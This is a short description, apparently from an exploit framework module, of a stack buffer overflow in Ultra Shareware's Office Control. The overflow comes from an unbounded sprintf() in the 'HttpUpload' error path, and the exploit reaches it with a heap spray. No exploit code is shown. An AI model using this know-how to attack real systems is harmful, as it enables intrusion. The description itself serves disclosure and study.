          This module exploits a stack-based buffer overflow in Ultra Shareware's Office
        Control. When processing the 'HttpUpload' method, the arguments are concatenated
        together to form a command line to run a bundled version of cURL. If the command
        fails to run, a stack-based buffer overflow occurs when building the error
        message. This is due to the use of sprintf() without proper bounds checking.

        NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
        into memory unmodified.
